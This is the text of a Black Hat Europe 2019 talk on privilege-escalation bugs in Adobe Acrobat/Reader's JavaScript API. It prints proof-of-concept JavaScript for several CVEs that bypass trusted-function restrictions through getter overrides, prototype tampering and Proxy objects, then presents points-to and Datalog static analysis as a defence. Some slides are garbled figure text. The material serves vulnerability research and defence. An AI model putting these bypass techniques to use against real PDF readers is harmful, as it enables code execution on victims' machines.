black hat EUROPE 2019

DECEMBER 2-5, 2019

EXCEL LONDON, UK

#BHEU Y@BLACK HAT EVENTS

Abdul-Aziz Hariri

Vulnerability Analysis Team Manager

Manage case load, distribution, pricing etc.

Root Cause analysis / Vulnerability Research / Exploit development

Pwn2Own Preparation / Judging entries

Past Experiences

Bits Arabia, Insight-Tech and Morgan Stanley

Past research:

Pwn4Fun 2014 renderer exploit writer Microsoft Bounty submission Patents on Exploit Mitigation Technologies Adobe Reader research 200+ CVEs

BS in Computer Sciences – University of Balamand Twitter: @abdhariri

Edgar Pek

Security Researcher

- Triaging incoming vulnerabilities
- Helping product teams reproduce and fix the vulns
- Security automation

Past experiences

Academic research, Microsoft Research,

Samsung Research

Past research

THOTCON 0xA – Linux Kernel Exploitation Workshop

Exhaustive security testing – model checking

Modular program verification

Satisfiability Modulo Theories

PhD, Computer Science – University of Illinois at Urbana-Champaign Twitter: @EdgarPek



Overview

Adobe Acrobat/Reader

Initial release was back in 1993

One of the most widely used PDF readers Supports on Windows/Mac/iOS/Android Large part of the code base is old Fully featured rich attack surface Juicy target for vulnerability researchers





General Architecture

Harrison Carriera



and the same of the second second



ZDI submissions





The JavaScript Attack Surface



JavaScript API

Victoria and Andrews



the state of the s



Understanding the Attack Surface

• Privileged vs Non-Privileged contexts are defined in the JS API documentation:

Privileged versus non-privileged context

Some JavaScript methods, marked by an S in the third column of the quick bar, have security restrictions. These methods can be executed only in a *privileged context*, which includes console, batch and application initialization events. All other events (for example, page open and mouse-up events) are considered *non-privileged*.

• A lot of API's are privileged and cannot be executed from non-privileged contexts:





Launches a URL in a browser window.

Note: Beginning with Acrobat 8.1, File and JavaScript URLs can be executed only when operating in a privileged context, such as during a batch or console event. File and JavaScript URLs begin with the scheme names javascript or file.

Adobe Acrobat JavaScript

- Adobe Acrobat/Reader exposes a rich JS API
- JavaScript engine is a spin of SpiderMonkey
- Escript.api is responsible for all JavaScript things
- JavaScript API documentation is available on the Adobe website
- A lot can be done through the JavaScript API (Forms, Annotations, Collaboration etc..)

- Mitigations exist for the JavaScript APIs
- Some API's defined in the documentation are only available in Acrobat Pro/Acrobat standard
- Basically JavaScript API's are executed in two contexts:
 - Privileged Context
 - Non-Privileged Context



Understanding the Attack Surface

• Privileged API's warning example from a non-privileged context:





Trusted Functions

• Executing privileged methods in a non-privileged context





Understanding the attack surface – Folder-level Scripts

- Scripts stored in the JavaScript folder inside the Acrobat/Reader folder
- Used to implement functions for automation purposes
- Contains Trusted functions that execute privileged API's
- By default Acrobat/Reader ships with JSByteCodeWin.bin
- JSByteCodeWin.bin is loaded when Acrobat/Reader starts up
- It's loaded inside Root, and exposed to the Doc when a document is open





Understanding the Attack Surface - Decompiling

- JSByteCodeWin.bin is compiled into SpiderMoney 1.8 XDR bytecode
- JSByteCodeWin.bin contains interesting Trusted functions
- Molnarg was kind enough to publish a decompiler for SpiderMonkey
 - https://github.com/molnarg/dead0007
 - Usage: ./dead0007 JSByteCodeWin.bin > output.js
 - Output needs to be prettified
 - ~27,000 lines of Javascript





Why bypass JavaScript API restrictions ?

- Possibly achieve code execution through a pure logic chain
- Trigger more interesting functionalities
- Most of the JavaScript APIs have been audited but 90% of the vulnerabilities exist in non-restricted APIs
- Privileged / Restricted APIs have not been properly audited
- Trigger vulnerabilities in privileged APIs



Vulnerability Discovery



Vulnerability Discovery

willing to the table to



CVE-2015-3073

- Acquire system-level eval which will allow us to execute JS code under root context
- Overwrite a method of one of the system objects with a privileged API
 - In this case it was a Collab method
 - Applies for other objects for example: App





CVE-2015-3073 - Exploit

```
function exploit() {
var _url = "http://www.google.com/";
var obj = {}
obj.__defineGetter__("bingo", function(){
Collab = {"isDocCenterURL":app.launchURL}
Collab.__proto__ = app;
return _url;
});
try{
CBSharedReviewSecurityDialog(1,obj["bingo"], "A");
}catch(e){app.alert(e);}
o = {'charAt':function(x){return exploit.toString() + "exploit();"}}
var ret = AFParseDate("1:1:1:1:1:1",0,0,0,0);
```



CVE-2015-3073 - Fix

JavaScript D	ebugger 🛛	L.	JavaScript Debugger ×			
JavaScript D	ebugger	View: Console Collab; [object Collab] Collab=app; [object App] Collab; [object Collab]	InvaScript Debugger Call Stack: Inspect: Variable Variable Image: I			
Ln 7, Col 1		Ln 5, Col 8				



Bypassing the patch - CVE-2015-6708/6709

- Most of the system objects are not writable
- Other few objects were left writable
- The "Identity" object is one of them and it's used all over in the Folder-level script



function exploit() {

this.identity.__defineGetter__('email',function(){app.launchURL("http://www.google.com")});this.CBBBRInit({});

CVE-2015-6708/6709 bypass

- After the last bypass, Adobe denied executing privileged APIs from inside getters of certain objects
- The patch targeted most of the objects referenced inside the Folder-level script
- The Global object was left unprotected
- Same trick worked, though this only gets executed when the application is closed

global.Int32Array=0; global.__defineGetter__("Int32Array",function(){ app.launchURL("http://www.google.com/"); });

global.setPersistent("Int32Array",true);



CVE-2016-1042

```
function exploit() {
   var run = 0;
   try {
       function privileged() {
                app.launchURL("http://www.google.com/");
       proxy = new Proxy(app, {
            "get": function (oTarget, sKey) {
               if (sKey == "idle") {
                   return privileged.bind(app);
               if (skey = "description") {
                   return {
                       name: "POC Over",
                       elements: [
                            ۲
                               type: "view",
                               align: "align_center",
                               elements: [
                                   {type: "ok"}
                               ٦
                   3;
               if (sKey = "initialize") {
                   return app.trustedFunction.bind(app,privileged);
           3
       3);
```



black hat EUROPE 2019

CVE-2018-16018

```
for(var i in Collab.drivers)
{
    var driver = Collab.drivers[i];
    if(driver.canInitiateWorkflow("SharedReview"))
    {
        if (!driver.isDocCenterWorkflow())
        {
            data.servers[data.servers.length] = driver;
            data.drivers[driver.driverURL] = driver;
            //console.println("$$$> driver.driverURL = "
        }
        else
        {
            data.dcDriver = driver;
        }
    }
}
```

function exploit(){

try{

Collab.canInitiateWorkflow = Collab.launchHelpViewer; delete AnnotsString; _AnnotsString={}; _AnnotsString.__proto__=Collab; _AnnotsString[0]={}; _AnnotsString[0].__proto__=Collab; AnnotsString = _AnnotsString; console.println(AnnotsString[0].canInitiateWorkflow) Collab.__defineGetter__("drivers", ()=> {return AnnotsString}); console.println("Worked!");

}catch(e){console.println(e);}
ANSendForSharedReview();



Defending the Engine



JavaScript / ECMAScript – brief history

- Began as simple scripting language in 1995
- First language specification in 1997
- Second, third edition standardized 1998 and 1999
- Fourth edition abandoned ca. 2007 2008
- Fifth edition 2009 major milestone
 - "Strict mode" taming of the language
- Sixth edition finalized in 2015
- 7th (2016), 8th(2017), 9th (2018), 10th (2019)



JavaScript language features

- Key design decision
 - Dynamic typing
 - Malleable
 - Easy to learn
- Seven kinds of values
 - Undefined, Null, Boolean, Number, String, Symbol, Object
- Wide-variety of implicit type conversions
 - Expressive and flexible
 - Counter-intuitive, unexpected program behavior



JavaScript – dynamic features

- Prototype-based object-oriented language
 - An object may inherit properties of another object by setting it as a prototype object
- An object may add or delete its properties dynamically
 - Object oriented message dispatch / calling methods on objects
 - An object change their structure dynamically during program execution
- Object can generate the code dynamically
 - eval, Function constructor, setInterval, setTimeout
- JavaScript not quite statistically scoped
 - with statement introduces new scope at runtime

JavaScript APIs

- JavaScript extend functionality of applications
 - Web applications
 - PDF viewers
- Application encapsulates trusted portion of functionality
- Application exposes relevant functionality to untrusted third-party code
- How to control access to security critical resources from the untrusted code?



JavaScript API reference monitor

• JavaScript API reference monitor





JavaScript API reference monitor

- Reference monitor
 - Language-based encapsulation of security
- Challenge: how to prevent reference monitor bypasses by exploiting flexibility of JavaScript programming language
- A key implementation problem:
 - ensure that encapsulated code does not access a set of security critical resources







Public API confinement

 Goal: ensure that untrusted code cannot use the public API to obtain access to security critical resources



Checking API confinement





JavaScript API encapsulation example



Public API

@BLACK HAT EVENTS



JavaScript API breaking encapsulation

Public API





The 1980 ACM Turing Award Lecture

Delivered at ACM '80, Nashville, Tennessee, October 27, 1980

The Emperor's Old Clothes

Charles Antony Richard Hoare Oxford University, England

"I conclude that there are two ways of constructing a software design: One way is to make it so simple that there are *obviously* no deficiencies and the other way is to make it so complicated that there are no *obvious* deficiencies."

JavaScript API Implementation

- API implementation: part of the trusted codebase
- Properties / requirements
 - small (in comparison with the client code)
 - carefully written code simple, idiomatic
- Analysis
 - Static analysis can be feasible
 - Stronger guarantees for API encapsulation
 - Dissuade against unwieldy coding patterns

Static analysis of JavaScript code

- JavaScript heap allocation for created objects
- Aliasing in OO programming
 - Central feature enables efficient sharing of objects across the execution
 - Essential feature of widely used idioms (e.g., iterators)
 - Reduces modularity and encapsulation
- Static reasoning about security policies
 - Reason about the program states (heap + stack)
 - Crucial technique: points-to analysis

black hat EUROPE 2019

Points-to analysis

- Key technique for reasoning about object-oriented programs
- JavaScript points-to analysis
 - Challenging because of wide variety of dynamic features
- Simple problem statement:
 - What objects can a variable point to?



Points-to analysis – basic example

```
var obj1 = \ldots;
var obj2 = ... ;
function foo() {
 x = new obj1();
 y = ident(a);
function bar() {
 x = new obj2();
 y = ident(a);
function ident(v) {
  if nd(v) return v;
  else return undefined;
```

"basic" points-to analysis

```
foo:x -> alloc_obj1
bar:x -> alloc_objc2
ident:v -> alloc_obj1, alloc_obj2
foo:y -> alloc_obj1, alloc_obj2
bar:y -> alloc_obj1, alloc_obj2
```

context-sensitive points-to analysis

```
foo:x -> alloc_obj1
bar:x -> alloc_objc2
ident:v [foo] -> alloc_obj1
ident:v [bar] -> alloc_obj2
foo:y -> alloc_obj1
bar:y -> alloc_obj1
```



Points-to analysis – complex and well studied





1:	while worklist not empty							
2:	while worklist not empty			1-19: identical with Lines 1-19 in Fig. 9				
3:	remove node v from work			20: for each $v.f$				
4:	for each $v' \in \text{flowTo}(v)$	1: v	while worklist not empty, or is $Charged(h.f)$ for a	21:	for each $v' \in \text{flowTo}(v)$	(f)		load $v.f \rightarrow v'$
5:	pointsTo(v').add(point)	2:	while worklist not empty	22:	if (pointsTo(v), f	1: wh	ile worklist not empty, or is $Charged(h.f)$ for any h	f-node
6:	if points $To(v')$ change	3:	remove node v from worklist	23:	$chargedHF \leftarrow c$	2: 3:	remove node v from worklist	
7:	for each $v'.f \in \text{flowTo}(v)$	4:	for each $v' \in \text{flowTo}(v)$	24:	else	4:	for each $v' \in \text{flowTo}(v)$ pointsTo (v') add(pointsTo (v))	// move $v \to v'$
8:	for each $h \in \text{pointsTe}$	5:	pointsTo(v').add(pointsTo(v))	25:	$\mathrm{chargedHF} \leftarrow$	6:	if points $To(v')$ changed, add v' to worklist	
9:	pointsTo(h.f).add	6:	if points $To(v')$ changed, add v' to work	26:	chargedHFCac	7:	for each $v'.f \in \text{flowTo}(v)$ for each $h \in \text{pointsTo}(v')$	// store $v \to v', f$
10:	for each field f of v	7:	for each $v'.f \in \text{flowTo}(v)$	27:	for each $h.f \in cl$	9:	pointsTo(h.f).add(pointsTo(v))	
11:	for each $v' \in \text{flowFro}$	8:	for each $h \in \text{pointsTo}(v')$	28:	points $To(v')$.a $\frac{1}{1}$	10: 11:	if points $10(h, f)$ changed isCharged $(h, f) \leftarrow true$	
12:	for each $h \in poin$	9:	pointsTo(h.f).add(pointsTo(v))	29:	if points $To(v')$	12:	chargedH.add (h)	$\prime\prime$ new in Fig. 11
13:	points $To(h, f)$.	10:	if points $To(h.f)$ changed, is Charged	30: f	or each $h.f$, isCharged(1	14:	for each heid f of v for each $v' \in \text{flowFrom}(v.f)$	// store $v' \rightarrow v.f$
14:	for each $v' \in flow To($	11:	for each field f of v		1	15:	for each $h \in \text{pointsTo}(v)$ pointsTo (h, f) add(pointsTo (v'))	
15:	for each $h \in \text{point}$	12:	for each $v' \in \text{flowFrom}(v.f)$		Fig 10 ¹	17:	if points $To(h, f)$ changed	
16:	points $To(v')$, at	13:	for each $h \in \text{pointsTo}(v)$		1 19. 10. 1	18: 19:	is $Charged(h, f) \leftarrow true$ charged H.add(h)	// new in Fig. 11
17:	if points $To(v')$	14:	pointsTo(h.f).add(pointsTo(v'))		2	20:	if pointsTo(v) \cap chargedH \neq {}	// new in Fig. 11
18.	for each $v f$	15:	if pointsTo($h.f$) changed, isCharged($h.f$) \leftarrow true // new in Fig			21: 22:	for each $v \in \text{now 10}(v, f)$ for each $h \in (\text{pointsTo}(v) \cap \text{charged}$	I) // compare to Fig. 9 Line :
19.	for each $v' \in \text{flowTo}(v f$	16:	for each $v' \in \text{flowTo}(v.f)$ // load $v.f \rightarrow$			23:	points $To(v')$.add(points $To(h.f)$) if points $To(v')$ shanged add v' to	workligt
20:	for each $h \in \text{pointsT}$	17:	for each $h \in \text{pointsTo}(v)$		2	25:	for each $v.f$	worklise
21.	points $To(v')$ add(1	18:	$\operatorname{pointsTo}(v').\operatorname{add}(\operatorname{pointsTo}(h.f))$		26: 27:	if points $To(v) \cap charged H \neq \{\}$ for each $v' \in flow To(v, f)$	// new in Fig. 11 // load $v, f \rightarrow v'$	
22.	if points $To(v')$ ch	19:	if points $To(v')$ changed, add v' to worklist		28:	if $(pointsTo(v), h) \in chargedHFCache$		
		20:	for each v.f			29: 30:	$chargedHF \leftarrow chargedHFCache[points]$ else	Io(v), f
	Fig. 5. Lhoták-]	21:	$ \text{ for each } v' \in \operatorname{flowTo}(v.f) $		// load $v.f \rightarrow \frac{3}{2}$	31:	$ch \leftarrow pointsTo(v) \cap chargedH$	// new in Fig. 11
2			for each $h \in \text{pointsTo}(v)$, if $\text{isCharged}(h.f)$ // compare to Fig. 5 Line			02.	chargedHr $\leftarrow \{n, j \text{ for } n \in \text{cn, if is Charged}(n, j)\}$ // compare to Fig. 10 Line :	
	23: $pointsTo(v').add(pointsTo(h.f))$		1023	33:		chargedHFCache[pointsTo(v), f] \leftarrow chargedHF	argedHF	
	24: if points $To(v')$ changed, add v' to worklist			ist 35:		pointsTo(v').add(pointsTo($h.f$))		
25: for each $h.f$, is $Charged(h.f) \leftarrow false$			$//$ new in Fig. $\frac{3}{2}$		36: 37:	if points $\operatorname{To}(v')$ changed, add v' to we for each h, f , is $\operatorname{Charged}(h, f) \leftarrow$ false	rklist	
		-	는 사람이 가지 있는 것은 가지 가지 않는 바람이라. 이가 가지 않는 것은 가지 않는 것은 바람이 있는 것은 바람이 있는 것은 것은 것은 것이다. 가지 않는 것이다. 가지 않는 것이다. 가지 않는 것 		3	38:	chargedH \leftarrow {}	

THE REAL PROPERTY AND ADDRESS

Fig. 9. Is Charged bit for h. f-nodes. Changes compared to Fig. 5 are annotated with comme

202325454

Fig. 11. Caching the charged h-node set.



Declarative Points-to Analysis

code

x=new A(); y=new B();

x=y; y=x;

z=y;

); |y | alloc_B |y |
); |z | alloc_C |z |
Datalog rules
PointsTo(v,h) <AssignAlloc(v,h).
PointsTo(v,h) <Assign(v,src),
PointsTo(src,h).</pre>

AssignAlloc

x | alloc A

Assign

V

Х

У

X

#BHEU Y@BLACK HAT EVENTS



Datalog

Recent years have seen substantial efforts in the direction of merging artificial intelligence and database technologies for the development of large and persistent knowledge bases.

IEEE TRANSACTIONS ON KNOWLEDGE AND DATA ENGINEERING, VOL. 1, NO. 1, MARCH 1989

What You Always Wanted to Know About Datalog (And Never Dared to Ask)

STEFANO CERI, GEORG GOTTLOB, AND LETIZIA TANCA

Declarative Points-to Analysis – adding field sensitivity

- PointsTo(v,h) < AssignAlloc(v,h).</pre>
- PointsTo(v,h) <Assign(v,src),
 PointsTo(src,h).</pre>

PointsTo(dst,h) <LoadField(b,f,dst), ←---dst = b.f
PointsTo(b,bh),
FieldPointsTo(bh,f,h).</pre>

FieldPointsTo(bh,f,h) <StoreField(src,b,f), ◄---b.f = src
PointsTo(b,bh), ◀----b.f = b.f = b.f
PointsTo(src,h). bh h</pre>



Static analysis – mutual recursion



Static analysis – security policies

Modification of non-mutable objects

```
Reachable(h1,h2) <-
PointsTo(v1,h1),
PointsTo(v1,h2).</pre>
```

```
NonMutableAccess(dst) <-
   StoreField(dst,_,_),
   PointsTo(dst,hx),
   NonMutableObject(h)
   Reaches(h, hx).</pre>
```

Non-mutable objects: Collab, App



Points-to analysis + secure information flow

- Two approaches
 - Secure information flow uses a points to analysis as client
 - Unified points-to analysis and secure information flow
- Secure information flow various flavors
 - Transfer of capabilities capability flow
- Capability
 - Key idea: the methods of an API are capabilities provided to untrusted client code

Points-to analysis + secure information flow - rules

- PointsTo essentially becomes FlowsTo,
- Introduce IsPrivileged{Var, Method} labeling for sensitive sink methods
 - IsPrivilegedVar(v) variable v is privileged
 - IsPrivilegedMethod(m) method m is privileged

```
IsPrivEsc(h) <-
CallGraph(sink, m),
IsPrivilegedMethod(sink),
ActualArg(sink,from),
FlowsTo(from, h).</pre>
```



Static analysis

- Sound
 - Represent all possible program executions
- Precise
 - Reports only "true" vulnerabilities
- Scalable
 - Can it analyze large programs?







IMAGE BY ANDRIJ BORYS ASSOCIATES/SHUTTERSTOCK

COMMUNICATIONS OF THE ACM | FEBRUARY 2015 | VOL. 58 | NO. 2



DOI:10.1145/2644805

Benjamin Livshits et al.

Viewpoint In Defense of Soundiness: A Manifesto Soundness is n

Soundy is the new sound.

Soundness is not even *necessary* for most modern analysis applications, however, as many clients can tolerate unsoundness. Benjamin Livshits (livshits@microsoft.com) is a research scientist at Microsoft Research.

Manu Sridharan (manu@sridharan.net) is a senior staff engineer at Samsung Research America.

Yannis Smaragdakis (smaragd@di.uoa.gr) is an associate professor at the University of Athens.

Ondřej Lhoták (olhotak@uwaterloo.ca) is an associate professor at the University of Waterloo.

J. Nelson Amaral (jamaral@ualberta.ca) is a professor at the University of Alberta.

Bor-Yuh Evan Chang (evan.chang@Colorado.EDU) is an assistant professor at the University of Colorado Boulder.

Samuel Z. Guyer (sguyer@cs.tufts.edu) is an associate professor at Tufts University.

Uday P. Khedker (uday@cse.iitb.ac.in) is a professor at the Indian Institute of Technology Bombay.

Anders Møller (amoeller@cs.au.dk) is an associate professor at Aarhus University.

Dimitrios Vardoulakis (dimvar@google.com) is a software engineer at Google Inc.

Copyright held by authors.



Privilege Escalation Defense – Takeaways

- 1. Static analysis of JavaScript API
 - Language-based sandbox
 - Confinement check
- 2. Declarative specification of points-to analysis
 - Datalog language
- 3. Static analysis does not have to be sound to be useful
 - Measure and adjust soundness



Questions?